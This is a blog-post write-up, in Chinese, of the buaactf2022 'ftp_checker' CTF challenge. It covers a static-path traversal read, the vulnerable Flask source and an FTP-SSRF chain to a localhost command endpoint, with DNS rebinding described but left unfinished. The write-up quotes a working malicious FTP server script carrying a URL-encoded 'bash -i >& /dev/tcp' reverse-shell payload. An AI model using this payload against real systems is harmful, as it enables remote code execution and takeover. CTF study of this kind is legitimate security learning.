buaactf2022::ftp_checker

0、环境部署

docker-compose up的时候发现报错

ERROR: Pool overlaps with other one on this address space

查看.yml文件,发现他自己指定了IP地址:

networks:
  mynetwork:
    ipam:
      config:
        - subnet: 172.20.0.0/24   

处理方式:

docker network ls //查看已有的docker网卡
docker network inspect 网卡id //查看某网卡详细信息
docker network rm 网卡id

(其实我是通过改subnet解决的;注意网络前缀位数别变,一定要私有ip)

修改相关代码后,需要docker-compose build才能使修改得到应用。

1、代码审计与任意文件读取

题目提示了静态文件配置问题;直接在burp里尝试访问/static/../app.py即可实现读取。

咱们看看题目到底是怎么写的。

//app.py
app = Flask(__name__, static_url_path='')

@app.route("/")
def index():
    return send_file('index.html')
    
@app.route('/static/<path:path>')
def static_files(path):
    file = os.path.join('static', path)
    if os.path.isfile(file):
        return send_file(file)
    else:
        abort(404)
//index.html;与app.py在同一目录下
<!DOCTYPE html>
<html>
    <head>
        <meta charset=utf-8>
        <meta name=viewport content="width=device-width,initial-scale=1">
        <title>FTP CHECKER</title>
        <link href=/static/css/app.13fe4782c17cfc05b537bd6f8bf1c197.css rel=stylesheet>
    </head>
    <body>
        <div id=app></div>
        <script type=text/javascript src=/static/js/manifest.2ae2e69a05c33dfc65f8.js></script>
        <script type=text/javascript src=/static/js/vendor.663fe220fc33852f1a68.js></script>
        <script type=text/javascript src=/static/js/app.32ca23aa33b400ddf85a.js></script> 
    </body>
</html>

只能说从头到尾都非常神奇;完全没有使用控制语句&渲染。

我们尝试将其改为我们习惯的写法(并从中学习一些知识)

//app.py
app = Flask(__name__)

@app.route("/")
def index():
    return render_template('index.html')
    
'''
@app.route('/static/<path:path>')
def static_files(path):
    file = os.path.join('static', path)
    if os.path.isfile(file):
        return send_file(file)
    else:
        abort(404)
'''
//index.html;在templates文件夹中,该文件夹与app.py在同一目录下。
<!DOCTYPE html>
<html>
    <head>
        <meta charset=utf-8>
        <meta name=viewport content="width=device-width,initial-scale=1">
        <title>FTP CHECKER</title>
        <link href="{{url_for('static',filename='css/app.13fe4782c17cfc05b537bd6f8bf1c197.css')}}" rel=stylesheet>
    </head>
    <body>
        <div id=app></div>
        <script type=text/javascript src="{{url_for('static',filename='js/manifest.2ae2e69a05c33dfc65f8.js')}}"></script>
        <script type=text/javascript src="{{url_for('static',filename='js/vendor.663fe220fc33852f1a68.js')}}"></script>
        <script type=text/javascript src="{{url_for('static',filename='js/app.32ca23aa33b400ddf85a.js')}}"></script> -->
    </body>
</html>

几个关键点:

(1)flask默认从/static/目录找静态文件(css,js,img等),但是题目的程序通过Flask(__name__, static_url_path='')修改了默认路径。默认方式就找不到了,所以题目又写了个路由@app.route('/static/<path:path>')去找静态文件。

(2)根路由下题目使用了send_file,没用render_template渲染,所以html里的src只能直接写路径,不能写控制语句。要进行修改,除了改上述东西,还要注意把index.html放在templates下,因为render_template默认在这个目录下找文件进行渲染。

2、源码

from flask import Flask, request, send_file, abort
from io import BytesIO
import os
import socket
import ftplib

app = Flask(__name__, static_url_path='')

@app.route("/")
def index():
    return send_file('index.html')

@app.route('/static/<path:path>')
def static_files(path):
    file = os.path.join('static', path)
    if os.path.isfile(file):
        return send_file(file)
    else:
        abort(404)

@app.route("/ftpcheck", methods=['POST'])
def ftpcheck():
    ftpaddr = os.environ['FTPADDR']
    # ftpaddr = '10.20.0.7'
    host = request.form.get('host', '')
    if host == '':
        host = ftpaddr
    try:
        if socket.gethostbyname(host) != ftpaddr:
            return f'Only the specified ftp server {ftpaddr} is acceptable!'
    except:
        return 'Something is wrong, maybe host is invalid.'
    file = 'robots.txt'
    fp = BytesIO()
    try:
        with ftplib.FTP(host) as ftp:
            ftp.login("admin","admin")
            ftp.retrbinary('RETR ' + file, fp.write)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(host,str(e))
    fp.seek(0)
    try:
        with ftplib.FTP(host) as ftp:
            ftp.login("admin","admin")
            ftp.storbinary('STOR ' + file, fp)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(host,str(e))
    fp.close()
    return 'FTP {} Check Success.'.format(host)

@app.route("/shellcheck", methods=['POST'])
def shellcheck():
    if request.remote_addr != '127.0.0.1':
        return 'Localhost only'
    shell = request.form.get('shell', '')
    if shell == '':
        return 'Parameter "shell" Empty!'
    return str(os.system(shell))

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

3、ftp_ssrf

我们看到,shellcheck里有个只能本地调用的shell(remote_addr不可绕),ftpcheck后半段有个先在ftp服务器上接收文件再原样发回去的服务

于是,可用ftp_ssrf来进行RCE。

《FastCGI与Web中间件》

《FastCGI_SSRF》

单就FTP_SSRF而言,本题比上面两篇文章中讲到的内容简单不少。

上两篇文章中提到的内容中RCE的点是PHP-FPM,涉及到FastCGI协议(传输格式)、Web中间件等好多内容,RCE的套接字也是唯一的:127.0.0.1:9000

而本题RCE的点是自己写的shellcheck,这个RCE在本地(127.0.0.1)任何端口都能触发,且传送的信息也只需要是正常的POST请求。

适用于本题的ftp服务器在官方wp中已经给出,附在这里,其余懒得说了。

import socket
from urllib.parse import unquote

# 这里填入自己服务器的ip地址和接收反弹shell的端口
shell_ip = 'x.x.x.x'
shell_port = '7777'

# 对payload进行一次urldecode
payload = unquote("POST%20/shellcheck%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2083%0D%0A%0D%0Ashell%3Dbash%2520-c%2520%2522bash%2520-i%2520%253E%2526%2520/dev/tcp/{}/{}%25200%253E%25261%2522".format(shell_ip, shell_port))
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 21
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
    conn, address = sk.accept()
    print("220 ")
    conn.send(b"220 \n")
    print(conn.recv(20))  # USER aaa\r\n  客户端传来用户名
    print("220 ready")
    conn.send(b"220 ready\n")

    print(conn.recv(20))   # TYPE I\r\n  客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文
    print("200 ")
    conn.send(b"200 \n")

    print(conn.recv(20))   # PASV\r\n  客户端告诉服务端进入被动连接模式
    if count == 1:
        print("227 %s,4,210" % (shell_ip.replace('.', ',')))
        conn.send(b"227 %s,4,210\n" % (shell_ip.replace('.', ',').encode()))  # 服务端告诉客户端需要到那个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
    else:
        print("227 127,0,0,1,31,144")
        conn.send(b"227 127,0,0,1,31,144\n")  # 端口计算规则:35*256+40=9000

    print(conn.recv(20))  # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
    if count == 1:
        print("125 ")
        conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
        # 新建一个socket给服务端返回我们的payload
        print("建立连接!")
        conn2, address2 = sk2.accept()
        conn2.send(payload)
        conn2.close()
        print("断开连接!")
    else:
        print("150 ")
        conn.send(b"150 \n")

    # 第一次连接是下载文件,需要告诉客户端下载已经结束
    if count == 1:
        print("226 ")
        conn.send(b"226 \n")

    print(conn.recv(20))  # QUIT\r\n
    print("221 ")
    conn.send(b"221 \n")
    conn.close()
    count += 1

4、DNS重绑定

之前的ftp_ssrf要求我们使用自己的ftp恶意服务器,而ftp_check的前半段中规定了ftp服务器的IP地址必须为os.environ['FTPADDR'](实际为10.20.0.7),否则不执行后续语句。

要绕过这个IP地址判断,我们需要进行DNS重绑定攻击。

@app.route("/ftpcheck", methods=['POST'])
def ftpcheck():
    ftpaddr = os.environ['FTPADDR']
    # ftpaddr = '10.20.0.7'
    host = request.form.get('host', '')
    if host == '':
        host = ftpaddr
    try:
        if socket.gethostbyname(host) != ftpaddr:
            return f'Only the specified ftp server {ftpaddr} is acceptable!'
    except:
        return 'Something is wrong, maybe host is invalid.'
    file = 'robots.txt'
    fp = BytesIO()
    try:
        with ftplib.FTP(host) as ftp:
            ftp.login("admin","admin")
            ftp.retrbinary('RETR ' + file, fp.write)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(host,str(e))
    fp.seek(0)
    try:
        with ftplib.FTP(host) as ftp:
            ftp.login("admin","admin")
            ftp.storbinary('STOR ' + file, fp)
    except ftplib.all_errors as e:
        return 'FTP {} Check Error: {}'.format(host,str(e))
    fp.close()
    return 'FTP {} Check Success.'.format(host)

这段代码中实际上有三处需要用到DNS服务。首先就是校验socket.gethostbyname(host) != ftpaddr。还有两个则是后面的两个with ftplib.FTP(host) as ftp,他们是用于初始化FTP类的。

这三次DNS查询之间的间隔非常短,以至于我们必须将DNS服务器的DNS_TTL设置为0,否则它就不会对我们的服务器进行三次查询。

我们要做的 就是用脚本起一个DNS恶意服务器,在接收第一次查询时返回10.20.0.7以绕过它的校验,接下来两次都返回自己的FTP服务器地址,让它能与我们的FTP恶意服务器建立连接收(第二次)发(第三次)文件。

让我们在云服务器上买的域名和我们写的DNS恶意服务器直接交互的方法是,建个子域,NS记录改成自己的服务器。然后在服务器上起恶意DNS服务就行了。

https://xz.aliyun.com/t/7495#toc-2
不想操作了,挖坑待填。

5、总结

这题主要的难点在于要用脚本起两个恶意服务器(DNS恶意服务器,FTP恶意服务器),算是我完全没接触过的东西吧。

posted @ 2022-08-28 23:07  hiddener  阅读(79)  评论(0编辑  收藏  举报